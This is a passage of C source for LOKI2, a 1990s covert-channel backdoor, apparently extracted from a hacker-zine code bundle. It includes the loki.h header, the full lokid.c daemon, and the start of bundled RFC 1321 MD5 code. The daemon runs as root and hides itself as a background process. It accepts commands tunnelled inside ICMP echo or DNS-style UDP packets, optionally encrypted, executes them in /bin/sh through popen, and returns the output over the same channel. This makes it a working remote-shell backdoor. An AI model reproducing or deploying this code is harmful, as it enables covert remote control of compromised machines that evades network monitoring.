#define D_P_TYPE    ICMP_ECHO
#define C_P_TYPE    ICMP_ECHOREPLY
#else
#define D_P_TYPE    ICMP_ECHOREPLY
#define C_P_TYPE    ICMP_ECHO
#endif

#ifdef STRONG_CRYPTO
#include "/usr/local/ssl/include/blowfish.h"
#include "/usr/local/ssl/include/bn.h"
#include "/usr/local/ssl/include/dh.h"
#include "/usr/local/ssl/include/buffer.h"

#define BF_KEYSIZE      16  /* blowfish key in bytes                    */
#define IVEC_SIZE       7   /* I grabbed this outta thin air.           */
#define BN2BIN_SIZE     48  /* bn2bin byte-size of 384-bit prime        */
#endif

#ifdef  STRONG_CRYPTO
#define CRYPTO_TYPE "blowfish"
#endif
#ifdef  WEAK_CRYPTO
#define CRYPTO_TYPE "XOR"
#endif
#ifdef  NO_CRYPTO 
#define CRYPTO_TYPE "none"
#endif


/* Start user configurable options */

#define MIN_TIMEOUT 3       /* minimum client-side alarm timeout        */
#define MAX_RETRAN  3       /* maximum client-side timeout/retry amount */
#define MAX_CLIENT  0xa     /* maximum server-side client count         */
#define KEY_TIMER   0xe10   /* maximum server-side idle client TTL      */

/* End user configurable options */



#define VERSION     "2.0"
#define BUFSIZE     0x38    /* We build packets with a fixed payload. 
                             * Fine for ICMP_ECHO/ECHOREPLY packets as they
                             * often default to a 56 byte payload.  However
                             * DNS query/reply packets have no set size and
                             * are generally oddly sized with no padding.
                             */

#define ICMPH_SIZE  8
#define UDPH_SIZE   8
#define NL_PORT     htons(0x35)

#define PROMPT      "loki> "
#define ENCR        1       /* symbolic for encrypt             */
#define DECR        0       /* symbolic for decrypt             */
#define NOCR        1       /* don't encrypt this packet        */
#define OKCR        0       /* encrypt this packet              */
#define OK          1       /* Positive acknowledgement         */
#define NOK         0       /* Negative acknowledgement         */
#define NNOK        -1      /* Really negative acknowledgement  */
#define FIND        1       /* Controls locate_client           */
#define DESTROY     2       /*  disposition                     */

/*  LOKI packet type symbolics */

#define L_TAG       0xf001  /* Tags packets as LOKI             */
#define L_PK_REQ    0xa1    /* Public Key request packet        */
#define L_PK_REPLY  0xa2    /* Public Key reply packet          */
#define L_EOK       0xa3    /* Encrypted ok                     */
#define L_REQ       0xb1    /* Standard reuqest packet          */
#define L_REPLY     0xb2    /* Standard reply packet            */
#define L_ERR       0xc1    /* Error of some kind               */
#define L_ACK       0xd1    /* Acknowledgement                  */
#define L_QUIT      0xd2    /* Receiver should exit             */
#define L_EOT       0xf1    /* End Of Transmission packet       */

/*  Packet type printing macro */

#ifdef DEBUG
#define PACKET_TYPE(ldg)\
\
if      (ldg.payload[0]   == 0xa1) fprintf(stderr, "Public Key Request");  \
else if (ldg.payload[0]   == 0xa2) fprintf(stderr, "Public Key Reply");    \
else if (ldg.payload[0]   == 0xa3) fprintf(stderr, "Encrypted OK");        \
else if (ldg.payload[0]   == 0xb1) fprintf(stderr, "Client Request");      \
else if (ldg.payload[0]   == 0xb2) fprintf(stderr, "Server Reply");        \
else if (ldg.payload[0]   == 0xc1) fprintf(stderr, "Error");               \
else if (ldg.payload[0]   == 0xd1) fprintf(stderr, "ACK");                 \
else if (ldg.payload[0]   == 0xd2) fprintf(stderr, "QUIT");                \
else if (ldg.payload[0]   == 0xf1) fprintf(stderr, "Server EOT");          \
else                               fprintf(stderr, "Unknown");             \
if      (prot == IPPROTO_ICMP)     fprintf(stderr, ", ICMP type: %d\n", ldg.ttype.icmph.icmp_type);\
else                               fprintf(stderr, "\n");\

#define DUMP_PACKET(ldg, i)\
\
for (i = 0; i < BUFSIZE; i++)      fprintf(stderr, "0x%x ",ldg.payload[i]); \
fprintf(stderr, "\n");\

#endif


/*  
 *  Escaped commands (not interpreted by the shell)
 */

#define HELP        "/help"         /* Help me                      */
#define TIMER       "/timer"        /* Change the client side timer */
#define QUIT_C      "/quit"         /* Quit the client              */
#define QUIT_ALL    "/quit all"     /* Kill all clients and server  */
#define STAT_C      "/stat"         /* Stat the client              */
#define STAT_ALL    "/stat all"     /* Stat all the clients         */
#define SWAP_T      "/swapt"        /* Swap protocols               */
#define REDIR_C     "/redirect"     /* Redirect to another client   */
#define PROXY_D     "/proxy"        /* Proxy to another server      */

/*
 *  Control flag symbolics 
 */

#define TERMINATE   0x01
#define TRAP        0x02
#define VALIDC      0x04
#define VALIDP      0x08
#define NEWTRANS    0x10
#define REDIRECT    0x20
#define PROXY       0x40
#define SENDKILL    0x80


/*
 *  Message Strings
 *  L_ == common to both server and client
 *  S_ == specific to server
 *  C_ == specific to client
 */

#define L_MSG_BANNER    "\nLOKI2\troute [(c) 1997 guild corporation worldwide]\n"
#define L_MSG_NOPRIV    "\n[fatal] invalid user identification value"
#define L_MSG_SOCKET    "[fatal] socket allocation error"
#define L_MSG_ICMPONLY  "\nICMP protocol only with strong cryptography\n"
#define L_MSG_ATEXIT    "[fatal] cannot register with atexit(2)"
#define L_MSG_DHKEYGEN  "generating Diffie-Hellman parameters and keypair"
#define L_MSG_DHKGFAIL  "\n[fatal] Diffie-Hellman key generation failure\n"
#define L_MSG_SIGALRM   "[fatal] cannot catch SIGALRM"
#define L_MSG_SIGUSR1   "[fatal] cannot catch SIGUSR1"
#define L_MSG_SIGCHLD   "[fatal] cannot catch SIGCHLD"
#define L_MSG_WIERDERR  "\n[SUPER fatal] control should NEVER fall here\n"
#define S_MSG_PACKED    "\nlokid: server is currently at capacity.  Try again later\n"
#define S_MSG_UNKNOWN   "\nlokid: cannot locate client entry in database\n"
#define S_MSG_UNSUP     "\nlokid: unsupported or unknown command string\n"
#define S_MSG_ICMPONLY  "\nlokid: ICMP protocol only with strong cryptography\n"
#define S_MSG_CLIENTK   "\nlokid: clean exit (killed at client request)\n"
#define S_MSG_DUP       "\nlokid: duplicate client entry found, updating\n" 
#define S_MSG_USAGE     "\nlokid -p (i|u) [ -v (0|1) ]\n"
#define C_MSG_USAGE     "\nloki -d dest -p (i|u) [ -v (0|1) ] [ -t (n>3) ]\n"
#define C_MSG_TIMEOUT   "\nloki: no response from server (expired timer)\n"
#define C_MSG_NOSWAP    "\nloki: cannot swap protocols with strong crypto\n"
#define C_MSG_PKREQ     "loki: requesting public from server\n" 
#define C_MSG_PKREC     "loki: received public key, computing shared secret\n"
#define C_MSG_SKSET     "loki: extracting and setting expanded blowfish key\n"
#define C_MSG_MUSTQUIT  "\nloki: received termination directive from server\n"

/*
 *  Macros to evaluate packets to determine if they are LOKI or not.
 *  These are UGLY.
 */


/*  
 *  ICMP_ECHO client packet check 
 */

#define IS_GOOD_ITYPE_C(ldg)\
\
(i_check((u_short *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) ==          0 &&\
                                ldg.ttype.icmph.icmp_type   ==   D_P_TYPE &&\
                                  ldg.ttype.icmph.icmp_id   ==    loki_id &&\
                                 ldg.ttype.icmph.icmp_seq   ==      L_TAG &&\
                                          (ldg.payload[0]   ==    L_REPLY ||\
                                           ldg.payload[0]   == L_PK_REPLY ||\
                                           ldg.payload[0]   ==      L_EOT ||\
                                           ldg.payload[0]   ==     L_QUIT ||\
                                           ldg.payload[0]   ==    L_ERR)) ==\
                                                             (1) ? (1) : (0)\
/*  
 *  ICMP_ECHO daemon packet check 
 */

#define IS_GOOD_ITYPE_D(ldg)\
\
(i_check((u_short *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) ==          0 &&\
                                ldg.ttype.icmph.icmp_type   ==   C_P_TYPE &&\
                                 ldg.ttype.icmph.icmp_seq   ==      L_TAG &&\
                                          (ldg.payload[0]   ==      L_REQ ||\
                                           ldg.payload[0]   ==     L_QUIT ||\
                                           ldg.payload[0]   == L_PK_REQ)) ==\
                                                             (1) ? (1) : (0)\
/*  
 *  UDP client packet check 
 */

#define IS_GOOD_UTYPE_C(ldg)\
\
(i_check((u_short *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) ==              0 &&\
                                ldg.ttype.udph.uh_sport   ==        NL_PORT &&\
                                ldg.ttype.udph.uh_dport   == loki_id &&\
                                        (ldg.payload[0]   ==        L_REPLY ||\
                                         ldg.payload[0]   ==          L_EOT ||\
                                         ldg.payload[0]   ==         L_QUIT ||\
                                         ldg.payload[0]   ==        L_ERR)) ==\
                                                               (1) ? (1) : (0)\
/*  
 *  UDP daemon packet check.  Yikes.  We need more info here. 
 */

#define IS_GOOD_UTYPE_D(ldg)\
\
(i_check((u_short *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) ==              0 &&\
                                ldg.ttype.udph.uh_dport   ==        NL_PORT &&\
                                         (ldg.payload[0]  ==         L_QUIT ||\
                                          ldg.payload[0]  ==        L_REQ)) ==\
                                                               (1) ? (1) : (0)\
/*
 *  ICMP_ECHO / ICMP_ECHOREPLY header prototype
 */

struct icmp_echo
{
    u_char  icmp_type;          /* 1 byte type              */
    u_char  icmp_code;          /* 1 byte code              */
    u_short icmp_cksum;         /* 2 byte checksum          */
    u_short icmp_id;            /* 2 byte identification    */
    u_short icmp_seq;           /* 2 byte sequence number   */
};


/*
 *  UDP header prototype
 */

struct udp
{
    u_short uh_sport;           /* 2 byte source port       */
    u_short uh_dport;           /* 2 byte destination port  */
    u_short uh_ulen;            /* 2 byte length            */
    u_short uh_sum;             /* 2 byte checksum          */
};
        

/*
 *  LOKI packet prototype
 */

struct loki
{
    struct ip iph;              /* IP header    */
    union
    {
        struct icmp_echo icmph; /* ICMP header  */
        struct udp udph;        /* UDP header   */
    }ttype;
    u_char payload[BUFSIZE];    /* data payload */
};

#define LOKIP_SIZE      sizeof(struct loki)
#define LP_DST          rdg.iph.ip_src

void blur(int, int, u_char *);          /* Symmetric encryption function    */
char *host_lookup(u_long);              /* network byte -> human readable   */
u_long name_resolve(char *);            /* human readable -> network byte   */
u_short i_check(u_short *, int);        /* Ah yes, the IP family checksum   */
int c_parse(u_char *, int *);           /* parse escaped commands [client]  */
void d_parse(u_char *, pid_t, int);     /* parse escaped commands [server]  */
                                        /* build and transmit LOKI packets  */
void loki_xmit(u_char *, u_short, int, struct sockaddr_in, int);
int lokid_xmit(u_char *, u_long, int, int);
void err_exit(int, int, int, char *);   /* handle exit with reason          */
void clean_exit(int);                   /* exit cleanly                     */
void help();                            /* lala                             */
void shadow();                          /* daemonizing routine              */
void swap_t(int);                       /* swap protocols [server-side]     */
void reaper(int);                       /* prevent zombies                  */
void catch_timeout(int);                /* ALARM signal catcher             */
void client_expiry_check();             /* expire client from shm           */
void prep_shm();                        /* Prepare shm ans semaphore        */
void dump_shm();                        /* detach shm                       */
void packets_read();                    /* packets read (client)            */
void fd_status(int, int);               /* dumps fd stats                   */
#ifdef PTY
int ptym_open(char *);
int ptys_open(int, char *);
pid_t pty_fork(int *, char *, struct termios *, struct winsize *);
#endif
#ifdef STRONG_CRYPTO
DH* generate_dh_keypair();              /* generate DH params and keypair   */
u_char *extract_bf_key(u_char *, int);  /* extract and md5 and set bf key   */
#endif

#endif  /* __LOKI_H__ */
<--> loki.h
<++> L2/lokid.c
/*
 * LOKI2
 *
 * [ lokid.c ]
 *
 *  1996/7 Guild Corporation Worldwide      [daemon9] 
 */


#include "loki.h"
#include "client_db.h"
#include "shm.h"

jmp_buf env;                            /* holds our stack frame    */
struct loki sdg, rdg;                   /* LOKI packets             */
time_t uptime   = 0;                    /* server uptime            */
u_long b_sent   = 0, p_sent = 0;        /* bytes / packets written  */ 
u_short c_id    = 0;                    /* client id                */
int destroy_shm = NOK;                  /* Used to mark whether or not
                                         * a process should destroy the
                                         * shm segment upon exiting.
                                         */
int verbose     = OK, prot = IPPROTO_ICMP, ripsock = 0, tsock = 0; 

#ifdef  STRONG_CRYPTO
extern u_char user_key[BF_KEYSIZE];
extern BF_KEY bf_key;
extern u_short ivec_salt;               
DH *dh_keypair = NULL;                  /* DH public and private key */
#endif

#ifdef PTY
int mfd = 0;                            /* master PTY file descriptor */
#endif

int main(int argc, char *argv[])
{

    static int one       = 1, c = 0, cflags = 0;
    u_char buf1[BUFSIZE] = {0};
    pid_t pid            = 0;
#ifdef  STRONG_CRYPTO
    static int c_ind     = -1;
#endif
#ifdef  POPEN
    FILE *job            = NULL;
    char buf2[BUFSIZE]   = {0};
#endif
                                        /* ensure we have proper permissions */
    if (geteuid() || getuid()) err_exit(0, 1, 1, L_MSG_NOPRIV);
    while ((c = getopt(argc, argv, "v:p:")) != EOF)
    {
        switch (c)
        {
            case 'v':                   /* change verbosity */
                verbose = atoi(optarg);
                break;

            case 'p':                   /* choose transport protocol */
                switch (optarg[0])
                {
                    case 'i':           /* ICMP_ECHO / ICMP_ECHOREPLY */
                        prot = IPPROTO_ICMP;
                        break;

                    case 'u':           /* DNS query / reply */
                        prot = IPPROTO_UDP;
                        break;

                    default:
                        err_exit(1, 0, 1, "Unknown transport\n");
                }
                break;

            default:
                err_exit(0, 0, 1, S_MSG_USAGE);
        }
    }                               
    if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
        err_exit(1, 1, 1, L_MSG_SOCKET);
#ifdef  STRONG_CRYPTO                   /* ICMP only with strong crypto */
    if (prot != IPPROTO_ICMP) err_exit(0, 0, 1, L_MSG_ICMPONLY);
#else
                                        /* Child will signal parent if a 
                                         * transport protcol switch is 
                                         * required 
                                         */
    if (signal(SIGUSR1, swap_t) == SIG_ERR) 
        err_exit(1, 1, verbose, L_MSG_SIGUSR1);
#endif

    if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
         err_exit(1, 1, 1, L_MSG_SOCKET);
#ifdef  DEBUG
    fprintf(stderr, "\nRaw IP socket: ");
    fd_status(ripsock, OK);
#endif

#ifdef  IP_HDRINCL
    if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
        if (verbose) perror("Cannot set IP_HDRINCL socket option");
#endif
                                        /* power up shared memory segment and
                                         * semaphore, register dump_shm to be 
                                         * called upon exit
                                         */
    prep_shm();
    if (atexit(dump_shm) == -1) err_exit(1, 1, verbose, L_MSG_ATEXIT);

    fprintf(stderr, L_MSG_BANNER);
    time(&uptime);                      /* server uptime timer */

#ifdef  STRONG_CRYPTO
                                        /* Generate DH parameters */
    if (verbose) fprintf(stderr, "\nlokid: %s", L_MSG_DHKEYGEN); 
    if (!(dh_keypair = generate_dh_keypair())) 
        err_exit(1, 0, verbose, L_MSG_DHKGFAIL);
    if (verbose) fprintf(stderr, "\nlokid: done.\n"); 
#endif 
#ifndef DEBUG
    shadow();                       /* go daemon */
#endif
    destroy_shm = OK;               /* if this process exits at any point
                                     * from hereafter, mark shm as destroyed
                                     */
                                    /* Every KEY_TIMER seconds, we should
                                     * check the client_key list and see
                                     * if any entries have been idle long
                                     * enough to expire them.
                                     */
    if (signal(SIGALRM, client_expiry_check) == SIG_ERR)
        err_exit(1, 1, verbose, L_MSG_SIGALRM);
    alarm(KEY_TIMER);

    if (signal(SIGCHLD, reaper) == SIG_ERR)
        err_exit(1, 1, verbose, L_MSG_SIGCHLD);

    for (; ;)
    {
        cflags &= ~VALIDP;              /* Blocking read */
        c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE);

        switch (prot)
        {                               /* Is this a valid Loki packet? */
            case IPPROTO_ICMP:
                if ((IS_GOOD_ITYPE_D(rdg)))
                { 
                    cflags |= VALIDP;
                    c_id   = rdg.ttype.icmph.icmp_id;
                }
                break;

            case IPPROTO_UDP:
                if ((IS_GOOD_UTYPE_D(rdg)))
                { 
                    cflags |= VALIDP;
                    c_id   = rdg.ttype.udph.uh_sport;
                }
                break;

            default:
                err_exit(1, 0, verbose, L_MSG_WIERDERR);
        }
        if (cflags & VALIDP)
        {
#ifdef  DEBUG
        fprintf(stderr, "\n[DEBUG]\t\tlokid: packet read %d bytes, type: ", c);
        PACKET_TYPE(rdg);
        DUMP_PACKET(rdg, c);
#endif
	    switch (pid = fork())
            {                           
	        case 0:                 
                    destroy_shm = NOK;  /* child should NOT mark segment as
                                         * destroyed when exiting...
                                         */
                                        /* TLI seems to have  problems in 
                                         * passing socket file desciptors around
                                         */
#ifdef  SOLARIS                         
                    close(ripsock);
                    if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
                    err_exit(1, 1, 1, L_MSG_SOCKET);
#ifdef  DEBUG
                    fprintf(stderr, "\nRaw IP socket: ");
                    fd_status(ripsock, OK);
#endif  /* DEBUG */
#endif  /* SOLARIS */
    		    break;

                default:                /* parent will loop forever spawning 
                                         * children if we do not zero rdg
                                         */
                    bzero((struct loki *)&rdg, LOKIP_SIZE);
                    cflags &= ~VALIDP;
		    continue;

	        case -1:            /* fork error */
		    err_exit(1, 1, verbose, "[fatal] forking error");
            }
#ifdef  STRONG_CRYPTO
                                        /* preliminary evaluation of the pkt
                                         * to see if we have a request for the
                                         * servers public key
                                         */
            if (rdg.payload[0] == L_PK_REQ)
            {
                if (verbose)
                {
                    fprintf(stderr, "\nlokid: public key submission and request : %s <%d> ", host_lookup(rdg.iph.ip_dst), c_id);
                    fprintf(stderr, "\nlokid: computing shared secret");
                }
                DH_compute_key(buf1, (void *)BN_bin2bn(&rdg.payload[1], BN2BIN_SIZE, NULL), dh_keypair);
                if (verbose) fprintf(stderr, "\nlokid: extracting 128-bit blowfish key");
                                        /* Try to add client to client list */
                if (((c = add_client(extract_bf_key(buf1, NOK))) == -1))
                {
#else
                if (((c = add_client((u_char *)NULL)) == -1))
                {
#endif                                  /* MAX_CLIENT limit reached */
                    lokid_xmit(S_MSG_PACKED, LP_DST, L_ERR, NOCR);
                    lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
                    err_exit(1, 0, verbose, "\nlokid: Cannot add key\n");
                }

#ifdef  STRONG_CRYPTO
                if (verbose)
                { 
                    fprintf(stderr, "\nlokid: client <%d> added to list [%d]", c_id, c);
                    fprintf(stderr, "\nlokid: submiting my public key to client");
                }                       /* send our public key to the client */
                bzero((u_char *)buf1, BUFSIZE);
                BN_bn2bin((BIGNUM *)dh_keypair -> pub_key, buf1);   

                lokid_xmit(buf1, LP_DST, L_PK_REPLY, NOCR);
                lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
                clean_exit(0);
            }
            bzero((u_char *)buf1, BUFSIZE);
                                        /* Control falls here when we have
                                         * a regular request packet.
                                         */
            if ((c_ind = locate_client(FIND)) == -1)
            {                           /* Cannot locate the client's entry */
                lokid_xmit(S_MSG_UNKNOWN, LP_DST, L_ERR, NOCR);
                lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
                err_exit(1, 0, verbose, S_MSG_UNKNOWN);
            }                           /* set expanded blowfish key */
            else BF_set_key(&bf_key, BF_KEYSIZE, user_key);
#endif
                                        /* unload payload */
   	    bcopy(&rdg.payload[1], buf1, BUFSIZE - 1);
#ifdef  STRONG_CRYPTO
                                        /* The IV salt is incremented in the
                                         * client prior to encryption, ergo
                                         * the server should increment before 
                                         * decrypting
                                         */
            ivec_salt = update_client_salt(c_ind);
#endif
            blur(DECR, BUFSIZE - 1, buf1);
                                        /* parse escaped command */
            if (buf1[0] == '/') d_parse(buf1, pid, ripsock);
#ifdef  POPEN                           /* popen the shell command and execute
                                         * it inside of /bin/sh
                                         */ 
            if (!(job = popen(buf1, "r")))
                err_exit(1, 1, verbose, "\nlokid: popen");

            while (fgets(buf2, BUFSIZE - 1, job))
            {
                bcopy(buf2, buf1, BUFSIZE);
                lokid_xmit(buf1, LP_DST, L_REPLY, OKCR);
            }
            lokid_xmit(buf1, LP_DST, L_EOT, OKCR);
#ifdef  STRONG_CRYPTO
            update_client(c_ind, p_sent, b_sent);
#else
            update_client(locate_client(FIND), p_sent, b_sent);
#endif
            clean_exit(0);              /* exit the child after sending
                                         * the last packet 
                                         */
#endif
#ifdef  PTY                             /* Not implemented yet */
            fprintf(stderr, "\nmfd: %d", mfd);
#endif
        }
    }
}


/*
 *  Build and transmit Loki packets (server-side version)
 */

int lokid_xmit(u_char *payload, u_long dst, int ptype, int crypt_flag)
{
    struct sockaddr_in sin;
    int i               = 0; 

    bzero((struct loki *)&sdg, LOKIP_SIZE);

    sin.sin_family      = AF_INET;
    sin.sin_addr.s_addr = dst;
    sdg.payload[0]      = ptype;        /* set packet type */
                                        /* Do not encrypt error or public
                                         * key reply packets
                                         */       
    if (crypt_flag == OKCR) blur(ENCR, BUFSIZE - 1, payload);	
    bcopy(payload, &sdg.payload[1], BUFSIZE - 1);

    if (prot == IPPROTO_ICMP)
    {
#ifdef  NET3                                            /* Our workaround. */
        sdg.ttype.icmph.icmp_type   = ICMP_ECHO;
#else
        sdg.ttype.icmph.icmp_type   = ICMP_ECHOREPLY;
#endif
        sdg.ttype.icmph.icmp_code   = (int)NULL;
        sdg.ttype.icmph.icmp_id     = c_id;             /* client ID */
        sdg.ttype.icmph.icmp_seq    = L_TAG;            /* Loki ID */
        sdg.ttype.icmph.icmp_cksum  =
             i_check((u_short *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE);
    }
    if (prot == IPPROTO_UDP)
    {
        sdg.ttype.udph.uh_sport     = NL_PORT;
        sdg.ttype.udph.uh_dport     = rdg.ttype.udph.uh_sport;
        sdg.ttype.udph.uh_ulen      = htons(UDPH_SIZE + BUFSIZE);
        sdg.ttype.udph.uh_sum       =
             i_check((u_short *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE);
    }
    sdg.iph.ip_v    = 0x4;
    sdg.iph.ip_hl   = 0x5;
    sdg.iph.ip_len  = FIX_LEN(LOKIP_SIZE);
    sdg.iph.ip_ttl  = 0x40;
    sdg.iph.ip_p    = prot;
    sdg.iph.ip_dst  = sin.sin_addr.s_addr;
 
#ifdef  SEND_PAUSE
    usleep(SEND_PAUSE);
#endif
    if ((i = sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, (int)NULL, (struct sockaddr *)&sin, sizeof(sin))) < LOKIP_SIZE)
    {
        if (verbose) perror("[non fatal] truncated write");
    }
    else
    {                               /* Update global stats */
        b_sent += i; 
        p_sent ++;
    }
    return ((i < 0 ? 0 : i));     /* Make snocrash happy (return bytes written,
                                   * or return 0 if there was an error) 
                                   */
}


/*
 *  Parse escaped commands (server-side version)
 */

void d_parse(u_char *buf, pid_t pid, int ripsock)
{
    u_char buf2[4 * BUFSIZE]    = {0};
    int n                       = 0, m = 0;
    u_long client_ip            = 0;
                                        /* client request for an all kill */
    if (!strncmp(buf, QUIT_ALL, sizeof(QUIT_ALL) - 1))
    {
        if (verbose) fprintf(stderr, "\nlokid: client <%d> requested an all kill\n", c_id);
        while (n < MAX_CLIENT)          /* send notification to all clients */
        {
            if ((client_ip = check_client_ip(n++, &c_id)))
            {
                if (verbose) fprintf(stderr, "\tsending L_QUIT: <%d> %s\n", c_id, host_lookup(client_ip));
                lokid_xmit(buf, client_ip, L_QUIT, NOCR);
            }
        }
        if (verbose) fprintf(stderr, S_MSG_CLIENTK);
                                        /* send a SIGKILL to all the processes
                                         * in the servers group...
                                         */
        if ((kill(-pid, SIGKILL)) == -1)
            err_exit(1, 1, verbose, "[fatal] could not signal process group");
        clean_exit(0);
    }
                                        /* client is exited, remove entry
                                         * from the client list
                                         */
    if (!strncmp(buf, QUIT_C, sizeof(QUIT_C) - 1))
    {
        if ((m = locate_client(DESTROY)) == -1) 
            err_exit(1, 0, verbose, S_MSG_UNKNOWN);
        else if (verbose) fprintf(stderr, "\nlokid: client <%d> freed from list [%d]", c_id, m);
        clean_exit(0);
    }
                                        /* stat request */
    if (!strncmp(buf, STAT_C, sizeof(STAT_C) - 1))
    {
        bzero((u_char *)buf2, 4 * BUFSIZE);
                                        /* Ok.  This is an ugly hack to keep
                                         * packet counts in sync with the
                                         * stat request.  We know the amount
                                         * of packets we are going to send (and
                                         * therefore the byte count) in advance
                                         * so we can preload the values.
                                         */
        update_client(locate_client(FIND), 5, 5 * LOKIP_SIZE);
        n = stat_client(locate_client(FIND), buf2, prot, uptime);
                                        /* breakdown payload into BUFSIZE-1 
                                         * chunks, suitable for transmission
                                         */
        for (; m < n; m += (BUFSIZE - 1))
        {
            bcopy(&buf2[m], buf, BUFSIZE - 1);
            lokid_xmit(buf, LP_DST, L_REPLY, OKCR);
        }
        lokid_xmit(buf, LP_DST, L_EOT, OKCR);
        clean_exit(0);                  /* exit the child after sending
                                         * the last packet 
                                         */
    }
#ifndef     STRONG_CRYPTO               /* signal parent to change protocols */
    if (!strncmp(buf, SWAP_T, sizeof(SWAP_T) - 1))
    {
        if (kill(getppid(), SIGUSR1))
            err_exit(1, 1, verbose, "[fatal] could not signal parent");
        clean_exit(0);
    }
#endif
                                        /* unsupport/unrecognized command */
    lokid_xmit(S_MSG_UNSUP, LP_DST, L_REPLY, OKCR);
    lokid_xmit(buf2, LP_DST, L_EOT, OKCR);

    update_client(locate_client(FIND), p_sent, b_sent);
    clean_exit(0);
}


/* 
 *  Swap transport protocols.  This is called as a result of SIGUSR1 from
 *  a child server process.
 */


void swap_t(int signo)
{

    int n                   = 0;
    u_long client_ip        = 0;
    struct protoent *pprot  = 0;
    char buf[BUFSIZE]       = {0};
  
    if (verbose) fprintf(stderr, "\nlokid: client <%d> requested a protocol swap\n", c_id);

    while (n < MAX_CLIENT)
    {
        if ((client_ip = check_client_ip(n++, &c_id)))
        {
            fprintf(stderr, "\tsending protocol update: <%d> %s [%d]\n", c_id, host_lookup(client_ip), n);
            lokid_xmit(buf, client_ip, L_REPLY, OKCR);
            lokid_xmit(buf, client_ip, L_EOT, OKCR);
/*            update_client(locate_client(FIND), p_sent, b_sent);*/
        }
    }

    close(tsock);

    prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP;
    if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
        err_exit(1, 1, verbose, L_MSG_SOCKET);
    pprot = getprotobynumber(prot);  
    sprintf(buf, "lokid: transport protocol changed to %s\n", pprot -> p_name);
    fprintf(stderr, "\n%s", buf);

    lokid_xmit(buf, LP_DST, L_REPLY, OKCR);
    lokid_xmit(buf, LP_DST, L_EOT, OKCR);
    update_client(locate_client(FIND), p_sent, b_sent);
                                            /* re-establish signal handler */
    if (signal(SIGUSR1, swap_t) == SIG_ERR)
        err_exit(1, 1, verbose, L_MSG_SIGUSR1);
}

/* EOF */
<--> lokid.c
<++> L2/md5/Makefile
# Makefile for MD5 from rfc1321 code

CCF = -O -DMD=5

md5c.o: md5.h global.h
	gcc $(CCF) -c md5c.c

clean:
	rm -f *.o core
<--> md5/Makefile
<++> L2/md5/global.h
/* GLOBAL.H - RSAREF types and constants
 */

/* PROTOTYPES should be set to one if and only if the compiler supports
  function argument prototyping.
The following makes PROTOTYPES default to 0 if it has not already



Rivest                                                          [Page 7]

RFC 1321              MD5 Message-Digest Algorithm            April 1992


  been defined with C compiler flags.
 */
#ifndef PROTOTYPES
#define PROTOTYPES 0
#endif

/* POINTER defines a generic pointer type */
typedef unsigned char *POINTER;

/* UINT2 defines a two byte word */
typedef unsigned short int UINT2;

/* UINT4 defines a four byte word */
typedef unsigned long int UINT4;

/* PROTO_LIST is defined depending on how PROTOTYPES is defined above.
If using PROTOTYPES, then PROTO_LIST returns the list, otherwise it
  returns an empty list.
 */
#if PROTOTYPES
#define PROTO_LIST(list) list
#else
#define PROTO_LIST(list) ()
#endif
<--> md5/global.h
<++> L2/md5/md5.h
/* MD5.H - header file for MD5C.C
 */

/* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
rights reserved.

License to copy and use this software is granted provided that it
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
Algorithm" in all material mentioning or referencing this software
or this function.

License is also granted to make and use derivative works provided
that such works are identified as "derived from the RSA Data
Security, Inc. MD5 Message-Digest Algorithm" in all material
mentioning or referencing the derived work.

RSA Data Security, Inc. makes no representations concerning either
the merchantability of this software or the suitability of this
software for any particular purpose. It is provided "as is"
without express or implied warranty of any kind.




Rivest                                                          [Page 8]

RFC 1321              MD5 Message-Digest Algorithm            April 1992


These notices must be retained in any copies of any part of this
documentation and/or software.
 */

#define MD5_HASHSIZE    16

/* MD5 context. */
typedef struct {
  UINT4 state[4];                                   /* state (ABCD) */
  UINT4 count[2];        /* number of bits, modulo 2^64 (lsb first) */
  unsigned char buffer[64];                         /* input buffer */
} MD5_CTX;

void MD5Init PROTO_LIST ((MD5_CTX *));
void MD5Update PROTO_LIST
  ((MD5_CTX *, unsigned char *, unsigned int));
void MD5Final PROTO_LIST ((unsigned char [16], MD5_CTX *));
<--> md5/md5.h
<++> L2/md5/md5c.c
/* MD5C.C - RSA Data Security, Inc., MD5 message-digest algorithm
 */

/* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
rights reserved.

License to copy and use this software is granted provided that it
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
Algorithm" in all material mentioning or referencing this software
or this function.

License is also granted to make and use derivative works provided
that such works are identified as "derived from the RSA Data
Security, Inc. MD5 Message-Digest Algorithm" in all material
mentioning or referencing the derived work.

RSA Data Security, Inc. makes no representations concerning either
the merchantability of this software or the suitability of this
software for any particular purpose. It is provided "as is"
without express or implied warranty of any kind.

These notices must be retained in any copies of any part of this
documentation and/or software.
 */

#include "global.h"
#include "md5.h"

/* Constants for MD5Transform routine.
 */


/*
Rivest                                                          [Page 9]

RFC 1321              MD5 Message-Digest Algorithm            April 1992
*/

#define S11 7
#define S12 12
#define S13 17
#define S14 22
#define S21 5
#define S22 9
#define S23 14
#define S24 20
#define S31 4
#define S32 11
#define S33 16
#define S34 23
#define S41 6
#define S42 10
#define S43 15
#define S44 21

static void MD5Transform PROTO_LIST ((UINT4 [4], unsigned char [64]));
static void Encode PROTO_LIST
  ((unsigned char *, UINT4 *, unsigned int));
static void Decode PROTO_LIST
  ((UINT4 *, unsigned char *, unsigned int));
static void MD5_memcpy PROTO_LIST ((POINTER, POINTER, unsigned int));
